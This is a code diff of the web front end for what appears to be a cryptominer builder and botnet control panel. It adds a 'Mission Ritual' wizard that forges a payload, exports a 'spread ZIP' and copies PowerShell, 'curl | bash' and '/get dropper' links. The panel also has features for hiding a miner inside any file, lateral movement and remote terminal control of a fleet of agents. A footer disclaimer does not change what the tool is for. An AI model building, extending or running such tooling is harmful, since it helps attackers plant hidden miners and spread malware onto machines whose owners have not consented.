function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
|
||||
return `page fade-in command-deck operator-deck-page ${forgeSkinClassName(resolveForgeSkin(operationMode, themeOverride))}`;
|
||||
}
|
||||
|
||||
export function formatBytes(n: number): string {
|
||||
if (n < 1024) return `${n} B`;
|
||||
@@ -160,6 +200,30 @@ export default function BuilderPage() {
|
||||
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
|
||||
const fusionPrepRef = useRef<HTMLDivElement>(null);
|
||||
const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');
|
||||
const [operationMode, setOperationMode] = useState<OperationModeId>(loadStoredOperationMode);
|
||||
const [forgeTheme, setForgeTheme] = useState(loadStoredForgeTheme);
|
||||
const [missionCampaign, setMissionCampaign] = useState('forge-mission');
|
||||
const [missionWizardStep, setMissionWizardStep] = useState<MissionWizardStep>('mode');
|
||||
const [missionOperationChip, setMissionOperationChip] = useState<MissionOperationChip>(() =>
|
||||
missionChipForMode(loadStoredOperationMode()),
|
||||
);
|
||||
const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
|
||||
const [missionBusy, setMissionBusy] = useState(false);
|
||||
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
|
||||
const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
|
||||
useModalAmbientDuck(!!missionModal);
|
||||
|
||||
useEffect(() => {
|
||||
const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
|
||||
window.addEventListener(FORGE_THEME_EVENT, syncTheme);
|
||||
window.addEventListener('storage', syncTheme);
|
||||
return () => {
|
||||
window.removeEventListener(FORGE_THEME_EVENT, syncTheme);
|
||||
window.removeEventListener('storage', syncTheme);
|
||||
};
|
||||
}, []);
|
||||
|
||||
const forgeSkinClass = forgePageClass(operationMode, forgeTheme);
|
||||
|
||||
// Drive simulated stage progress while a single build is running
|
||||
useEffect(() => {
|
||||
@@ -248,7 +312,8 @@ export default function BuilderPage() {
|
||||
const buildList = builds as BuildRecord[];
|
||||
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
|
||||
setRecentBuilds(buildList);
|
||||
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
|
||||
const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates });
|
||||
setForm(applyOperationMode(withDefaults, loadStoredOperationMode()));
|
||||
})
|
||||
.catch((err) => {
|
||||
console.error(err);
|
||||
@@ -643,6 +708,72 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const selectMissionOperationChip = (chip: MissionOperationChip) => {
|
||||
setMissionOperationChip(chip);
|
||||
const modeId = operationModeForChip(chip);
|
||||
setOperationMode(modeId);
|
||||
storeOperationMode(modeId);
|
||||
if (form) setForm(applyOperationMode(form, modeId));
|
||||
};
|
||||
|
||||
const handleLaunchMission = async () => {
|
||||
if (!form) return;
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
setMissionModal(null);
|
||||
setMissionExportSkipped(false);
|
||||
setMissionWizardStep('launch');
|
||||
|
||||
const normalized = applyMissionPresets(form, operationMode, spreadProfile);
|
||||
setForm(normalized);
|
||||
|
||||
const checks = runForgePreflight(normalized, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Mission blocked — fix preflight errors before launching.');
|
||||
return;
|
||||
}
|
||||
|
||||
const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, '');
|
||||
const cancelToken = crypto.randomUUID();
|
||||
cancelTokenRef.current = cancelToken;
|
||||
setMissionBusy(true);
|
||||
setMissionStep('configure');
|
||||
setBuilding(true);
|
||||
|
||||
try {
|
||||
const result = await runForgeMission({
|
||||
form: normalized,
|
||||
operationMode,
|
||||
spreadProfile,
|
||||
campaign: missionCampaign,
|
||||
serverBase,
|
||||
fusionPrepFile,
|
||||
api,
|
||||
cancelToken,
|
||||
onStep: (step) => {
|
||||
setMissionStep(step);
|
||||
if (step === 'forge') startForge();
|
||||
},
|
||||
});
|
||||
setMissionExportSkipped(result.exportSkipped);
|
||||
setForm(normalized);
|
||||
await copyMissionLinks(result.links);
|
||||
setMissionModal(result.links);
|
||||
await finishForgeSuccess(result.build);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Mission failed';
|
||||
if (msg !== 'build cancelled') {
|
||||
setMissionStep('error');
|
||||
setError(msg);
|
||||
void loadRecentBuilds();
|
||||
}
|
||||
} finally {
|
||||
cancelTokenRef.current = '';
|
||||
setMissionBusy(false);
|
||||
setBuilding(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!form) return;
|
||||
@@ -701,7 +832,7 @@ export default function BuilderPage() {
|
||||
const kind = form ? deriveDeliverableType(form) : 'single';
|
||||
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
|
||||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
|
||||
setForm(applyDeliverableType(merged, kind));
|
||||
setForm(applyOperationMode(applyDeliverableType(merged, kind), operationMode));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
} catch (err: unknown) {
|
||||
@@ -797,7 +928,7 @@ export default function BuilderPage() {
|
||||
|
||||
if (loadingDefaults) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className={forgeSkinClass}>
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
@@ -811,7 +942,7 @@ export default function BuilderPage() {
|
||||
|
||||
if (!form) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className={forgeSkinClass}>
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
@@ -838,7 +969,7 @@ export default function BuilderPage() {
|
||||
const setupStatus = getSetupStatus(calibrateConfig);
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className={forgeSkinClass}>
|
||||
<SetupBanner status={setupStatus} />
|
||||
{pendingReforgeBuild && (
|
||||
<div className="reforge-confirm-banner form-error" role="alert">
|
||||
@@ -1009,12 +1140,18 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
<div className="builder-layout builder-layout-wide">
|
||||
<div className="card cheat-sheet-panel">
|
||||
<div className="card cheat-sheet-panel operator-deck-card operator-interactive">
|
||||
<h2>Quick links</h2>
|
||||
<p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
|
||||
<Link to="/guide" className="btn btn-primary" style={{ marginBottom: '1rem', display: 'inline-block' }}>
|
||||
<a
|
||||
href="/docs/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="btn btn-primary"
|
||||
style={{ marginBottom: '1rem', display: 'inline-block' }}
|
||||
>
|
||||
Open Field Guide
|
||||
</Link>
|
||||
</a>
|
||||
<div className="cheat-sheet">
|
||||
{SETUP_CHEATSHEET.map((item) => (
|
||||
<div key={item.title} className="cheat-sheet-item">
|
||||
@@ -1028,6 +1165,189 @@ export default function BuilderPage() {
|
||||
<div className="card builder-form">
|
||||
{simpleMode ? (
|
||||
<>
|
||||
<div className="forge-mission-wizard card operator-deck-card operator-interactive">
|
||||
<p className="font-tech">MISSION RITUAL — 3-STEP WIZARD</p>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Guided flow: pick Ghost/Loud/Spread, choose a spread profile, launch the ritual.
|
||||
Full forge fields below stay available for power users.
|
||||
</p>
|
||||
<div className="forge-mission-wizard-pills" role="tablist" aria-label="Mission wizard steps">
|
||||
{MISSION_WIZARD_STEPS.map((step, idx) => {
|
||||
const status = wizardPillStatus(step, missionWizardStep);
|
||||
return (
|
||||
<button
|
||||
key={step}
|
||||
type="button"
|
||||
role="tab"
|
||||
aria-selected={status === 'active'}
|
||||
className={`forge-mission-wizard-pill ${status}`}
|
||||
disabled={missionBusy}
|
||||
onClick={() => setMissionWizardStep(step)}
|
||||
>
|
||||
<span className="forge-mission-wizard-pill-num">
|
||||
{status === 'done' ? '✓' : idx + 1}
|
||||
</span>
|
||||
{MISSION_WIZARD_STEP_LABELS[step]}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
<div className="forge-mission-wizard-panel">
|
||||
{missionWizardStep === 'mode' && (
|
||||
<div>
|
||||
<p className="label" style={{ marginBottom: '0.5rem' }}>Operation temperament</p>
|
||||
<div className="forge-mission-chip-grid">
|
||||
{MISSION_OPERATION_CHIPS.map((chip) => (
|
||||
<button
|
||||
key={chip.id}
|
||||
type="button"
|
||||
aria-label={chip.label}
|
||||
className={`forge-mission-op-chip ${missionOperationChip === chip.id ? 'active' : ''}`}
|
||||
style={{
|
||||
borderColor: missionOperationChip === chip.id ? chip.color : undefined,
|
||||
color: missionOperationChip === chip.id ? chip.color : undefined,
|
||||
}}
|
||||
disabled={missionBusy}
|
||||
onClick={() => selectMissionOperationChip(chip.id)}
|
||||
>
|
||||
<strong>{chip.label}</strong>
|
||||
<span>{chip.blurb}</span>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{missionWizardStep === 'profile' && (
|
||||
<div>
|
||||
<p className="label" style={{ marginBottom: '0.5rem' }}>Spread profile (optional)</p>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className={`endpoint-chip ${spreadProfile === '' ? 'active' : ''}`}
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
setSpreadProfile('');
|
||||
}}
|
||||
>
|
||||
None
|
||||
</button>
|
||||
{SPREAD_PROFILES.map((p) => (
|
||||
<button
|
||||
key={p.id}
|
||||
type="button"
|
||||
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
|
||||
style={{
|
||||
borderColor: spreadProfile === p.id ? p.color : undefined,
|
||||
color: spreadProfile === p.id ? p.color : undefined,
|
||||
}}
|
||||
title={p.blurb}
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
setSpreadProfile(p.id);
|
||||
if (form) setForm(applySpreadProfile(form, p.id));
|
||||
}}
|
||||
>
|
||||
{p.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
{spreadProfile
|
||||
? SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb
|
||||
: 'Skip to forge without a spread profile preset.'}
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
{missionWizardStep === 'launch' && (
|
||||
<div>
|
||||
<div className="form-group" style={{ marginBottom: '0.5rem', maxWidth: '20rem' }}>
|
||||
<label className="label" htmlFor="mission-campaign">Campaign slug (?c=)</label>
|
||||
<input
|
||||
id="mission-campaign"
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={missionCampaign}
|
||||
disabled={missionBusy}
|
||||
onChange={(e) => setMissionCampaign(e.target.value)}
|
||||
placeholder="forge-mission"
|
||||
/>
|
||||
</div>
|
||||
{(missionBusy || missionStep === 'error') && (
|
||||
<div className="forge-mission-steps" aria-live="polite">
|
||||
{MISSION_STEPS.map((step) => {
|
||||
const status = missionStep
|
||||
? missionStepStatus(step, missionStep, missionExportSkipped)
|
||||
: 'pending';
|
||||
return (
|
||||
<span key={step} className={`forge-mission-step ${status}`}>
|
||||
{status === 'done' ? '✓' : status === 'active' ? '●' : status === 'skipped' ? '—' : status === 'error' ? '✕' : '○'}
|
||||
{' '}
|
||||
{MISSION_STEP_LABELS[step]}
|
||||
{step === 'export' && missionExportSkipped ? ' (n/a)' : ''}
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
{!missionBusy && missionStep !== 'error' && (
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Ritual: Configure presets → Forge (45 min timeout) → Export spread ZIP → Copy dropper links.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="forge-mission-wizard-nav">
|
||||
{prevWizardStep(missionWizardStep) && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
const prev = prevWizardStep(missionWizardStep);
|
||||
if (prev) setMissionWizardStep(prev);
|
||||
}}
|
||||
>
|
||||
← Back
|
||||
</button>
|
||||
)}
|
||||
{missionWizardStep !== 'launch' && canAdvanceWizardStep(missionWizardStep, missionOperationChip, spreadProfile) && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary btn-sm"
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
const next = nextWizardStep(missionWizardStep);
|
||||
if (next) setMissionWizardStep(next);
|
||||
}}
|
||||
>
|
||||
Next →
|
||||
</button>
|
||||
)}
|
||||
{missionWizardStep === 'launch' && (
|
||||
<>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
disabled={missionBusy || building || !canForge}
|
||||
onClick={() => void handleLaunchMission()}
|
||||
>
|
||||
{missionBusy ? 'Ritual running…' : '🚀 Launch Ritual'}
|
||||
</button>
|
||||
{missionBusy && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-danger btn-sm"
|
||||
onClick={handleKillBuild}
|
||||
title="Kill the running compiler immediately"
|
||||
>
|
||||
✕ Kill Build
|
||||
</button>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<div className="forge-simple-banner card">
|
||||
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
||||
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||||
@@ -1035,6 +1355,29 @@ export default function BuilderPage() {
|
||||
Reset to recommended defaults
|
||||
</button>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||
<label className="label">Operation mode presets</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
{OPERATION_MODES.map((m) => (
|
||||
<button
|
||||
key={m.id}
|
||||
type="button"
|
||||
className={`endpoint-chip forge-mode-chip ${operationMode === m.id ? 'active' : ''}`}
|
||||
style={{ borderColor: operationMode === m.id ? m.color : undefined, color: operationMode === m.id ? m.color : undefined }}
|
||||
title={m.blurb}
|
||||
onClick={() => {
|
||||
setOperationMode(m.id);
|
||||
storeOperationMode(m.id);
|
||||
setMissionOperationChip(missionChipForMode(m.id));
|
||||
if (form) setForm(applyOperationMode(form, m.id));
|
||||
}}
|
||||
>
|
||||
{m.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint">{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}</p>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||
<label className="label">Spread profile presets</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
@@ -1106,7 +1449,7 @@ export default function BuilderPage() {
|
||||
</p>
|
||||
|
||||
<form onSubmit={handleSubmit}>
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Identity"
|
||||
badge="baked"
|
||||
@@ -1218,7 +1561,7 @@ export default function BuilderPage() {
|
||||
|
||||
{/* ── Connection profile (advanced) ─────────────────────── */}
|
||||
{!simpleMode && (
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Connection Profile"
|
||||
badge="baked"
|
||||
@@ -1310,7 +1653,7 @@ export default function BuilderPage() {
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Mining Pools"
|
||||
badge="baked"
|
||||
@@ -1343,7 +1686,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="GPU Mining — Ravencoin"
|
||||
badge="baked"
|
||||
@@ -1409,7 +1752,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
badge="baked"
|
||||
@@ -1446,7 +1789,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Platform"
|
||||
badge="baked"
|
||||
@@ -1530,7 +1873,7 @@ export default function BuilderPage() {
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Performance & Resources"
|
||||
badge="baked"
|
||||
@@ -1662,7 +2005,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Install & Process"
|
||||
badge="baked"
|
||||
@@ -1903,7 +2246,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
{deliverableType !== 'spread_kit' && (
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion — Hide miner in any file"
|
||||
badge="baked"
|
||||
@@ -2233,7 +2576,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
|
||||
<div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
|
||||
<div className="form-section operator-deck-card operator-interactive" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
|
||||
<ForgeSectionHeader
|
||||
title="PATH FORGE — Recursive Batch Seed"
|
||||
badge="server-only"
|
||||
@@ -2373,7 +2716,7 @@ export default function BuilderPage() {
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Build pipeline"
|
||||
badge="server-only"
|
||||
@@ -2411,7 +2754,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Autonomy, Mesh & Lateral Movement"
|
||||
badge="baked"
|
||||
@@ -2533,7 +2876,7 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="preflight-panel card">
|
||||
<div className="preflight-panel card operator-deck-card operator-interactive">
|
||||
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
|
||||
<ul className="preflight-list">
|
||||
{preflightChecks.map((c) => (
|
||||
@@ -2646,6 +2989,54 @@ export default function BuilderPage() {
|
||||
{dispenseReveal?.success && (
|
||||
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
|
||||
)}
|
||||
{missionModal && (
|
||||
<div
|
||||
className="forge-mission-modal-backdrop"
|
||||
role="dialog"
|
||||
aria-modal="true"
|
||||
aria-labelledby="mission-modal-title"
|
||||
onClick={() => setMissionModal(null)}
|
||||
>
|
||||
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
|
||||
<h3 id="mission-modal-title">Mission complete — links copied</h3>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
PowerShell, bash, and /get URLs are on your clipboard. Pin + campaign query included when set.
|
||||
</p>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>PowerShell</p>
|
||||
<code>{missionModal.ps1}</code>
|
||||
</div>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>curl | bash</p>
|
||||
<code>{missionModal.sh}</code>
|
||||
</div>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>/get dropper</p>
|
||||
<code>{missionModal.get}</code>
|
||||
</div>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => void copyMissionLinks(missionModal)}
|
||||
>
|
||||
Copy all
|
||||
</button>
|
||||
<a
|
||||
href="/spread/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="btn btn-outline btn-sm"
|
||||
>
|
||||
Open spread landing
|
||||
</a>
|
||||
<button type="button" className="btn btn-primary btn-sm" onClick={() => setMissionModal(null)}>
|
||||
Done
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
@@ -4,6 +4,38 @@
|
||||
max-width: 1400px;
|
||||
}
|
||||
|
||||
/* ── Sidebar layout + fleet heat mini-map ─────────────────────────────── */
|
||||
|
||||
.crucible-layout {
|
||||
display: grid;
|
||||
grid-template-columns: minmax(200px, 240px) 1fr;
|
||||
gap: 1rem;
|
||||
align-items: start;
|
||||
}
|
||||
|
||||
.crucible-sidebar {
|
||||
position: sticky;
|
||||
top: 0.75rem;
|
||||
}
|
||||
|
||||
.crucible-heat-card {
|
||||
padding: 0.75rem !important;
|
||||
}
|
||||
|
||||
.crucible-main {
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
@media (max-width: 960px) {
|
||||
.crucible-layout {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
|
||||
.crucible-sidebar {
|
||||
position: static;
|
||||
}
|
||||
}
|
||||
|
||||
.crucible-sel-summary {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
||||
@@ -17,6 +17,8 @@ import FileManager from '../components/Fleet/FileManager';
|
||||
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
|
||||
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
|
||||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||||
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
import '../components/Fleet/ProtocolTunnelPanel.css';
|
||||
import './CruciblePage.css';
|
||||
@@ -524,6 +526,8 @@ export default function CruciblePage() {
|
||||
return next;
|
||||
});
|
||||
|
||||
const selectAgent = (id: string) => setSelectedIds(new Set([id]));
|
||||
|
||||
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
|
||||
const clearSel = () => setSelectedIds(new Set());
|
||||
|
||||
@@ -885,7 +889,7 @@ export default function CruciblePage() {
|
||||
// ── Render ─────────────────────────────────────────────────────────────
|
||||
|
||||
return (
|
||||
<div className="page fade-in crucible-page">
|
||||
<div className="page fade-in crucible-page operator-deck-page">
|
||||
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
|
||||
@@ -911,6 +915,8 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<AlsoHere page="/crucible" />
|
||||
|
||||
<FleetGroupsStrip
|
||||
groups={groups}
|
||||
liveAgentIds={onlineAgentIds}
|
||||
@@ -920,8 +926,26 @@ export default function CruciblePage() {
|
||||
onCreateGroup={() => setShowGroupModal(true)}
|
||||
/>
|
||||
|
||||
<div className="crucible-layout">
|
||||
<aside className="crucible-sidebar">
|
||||
<NeonCard
|
||||
accent="cyan"
|
||||
className="crucible-heat-card operator-deck-card operator-interactive"
|
||||
tilt3d={false}
|
||||
>
|
||||
<FleetHeatMiniMap
|
||||
agents={agents}
|
||||
groups={groups}
|
||||
allIds={allIds}
|
||||
selectedIds={selectedIds}
|
||||
onSelectAgent={selectAgent}
|
||||
/>
|
||||
</NeonCard>
|
||||
</aside>
|
||||
|
||||
<div className="crucible-main">
|
||||
{/* ── Node Roster ─────────────────────────────────────────────────── */}
|
||||
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
|
||||
<NeonCard accent="cyan" className="crucible-roster-card operator-deck-card operator-interactive" hud tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> NODE ROSTER
|
||||
</div>
|
||||
@@ -939,7 +963,7 @@ export default function CruciblePage() {
|
||||
return (
|
||||
<div
|
||||
key={a.id}
|
||||
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
|
||||
className={`crucible-node-card operator-interactive ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
|
||||
style={{
|
||||
...(sel ? { '--sel-color': color } : {}),
|
||||
...(pg ? { borderLeft: `3px solid ${pg.color}` } : {}),
|
||||
@@ -1098,7 +1122,7 @@ export default function CruciblePage() {
|
||||
|
||||
{/* ── Groups & Actions ────────────────────────────────────────────── */}
|
||||
<div className="crucible-row">
|
||||
<NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
|
||||
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> GROUPS
|
||||
</div>
|
||||
@@ -1141,7 +1165,7 @@ export default function CruciblePage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
|
||||
<NeonCard accent="amber" className="crucible-actions-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> OPERATIONS
|
||||
{selectedIds.size > 0 && (
|
||||
@@ -1810,7 +1834,7 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
|
||||
{/* ── Terminal ────────────────────────────────────────────────────── */}
|
||||
<NeonCard accent="green" className="crucible-term-card" tilt3d={false}>
|
||||
<NeonCard accent="green" className="crucible-term-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<div className="crucible-term-header">
|
||||
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
|
||||
<span className="section-ornament">◆</span> TERMINAL
|
||||
@@ -1883,7 +1907,7 @@ export default function CruciblePage() {
|
||||
</NeonCard>
|
||||
|
||||
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
|
||||
<NeonCard accent="brass" className="crucible-ssh-info" tilt3d={false}>
|
||||
<NeonCard accent="brass" className="crucible-ssh-info operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> SSH ACCESS NOTES
|
||||
</div>
|
||||
@@ -1916,7 +1940,7 @@ export default function CruciblePage() {
|
||||
</NeonCard>
|
||||
|
||||
{singleSelectedAgent && (
|
||||
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap" tilt3d={false}>
|
||||
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<ProtocolTunnelPanel
|
||||
agentId={singleSelectedAgent.id}
|
||||
agentName={singleSelectedAgent.name}
|
||||
@@ -1953,6 +1977,8 @@ export default function CruciblePage() {
|
||||
setShowGroupModal(false);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -392,7 +392,7 @@ export default function DashboardPage() {
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<AlertBanner alerts={alerts} />
|
||||
|
||||
{/* Fleet Health — always above the fold */}
|
||||
@@ -464,13 +464,14 @@ export default function DashboardPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<NeonCard accent="green" className="section" hud>
|
||||
<NeonCard accent="green" className="section operator-deck-card operator-interactive" hud>
|
||||
<h2 className="section-title font-display" style={{ marginBottom: '0.25rem' }}>
|
||||
<span className="section-ornament">◆</span> Fleet Pipeline
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Visual progress — lit nodes mean that stage is active. <Link to="/guide">Open Field Guide →</Link>
|
||||
Visual progress — lit nodes mean that stage is active.{' '}
|
||||
<a href="/docs/" target="_blank" rel="noopener noreferrer">Open Documentation →</a>
|
||||
</p>
|
||||
<FleetPipelineStatus
|
||||
hasBuilds={hasBuilds}
|
||||
@@ -482,7 +483,7 @@ export default function DashboardPage() {
|
||||
</NeonCard>
|
||||
|
||||
<section className="gauge-row">
|
||||
<NeonCard accent="cyan" className="gauge-card" hud>
|
||||
<NeonCard accent="cyan" className="gauge-card operator-deck-card operator-interactive" hud>
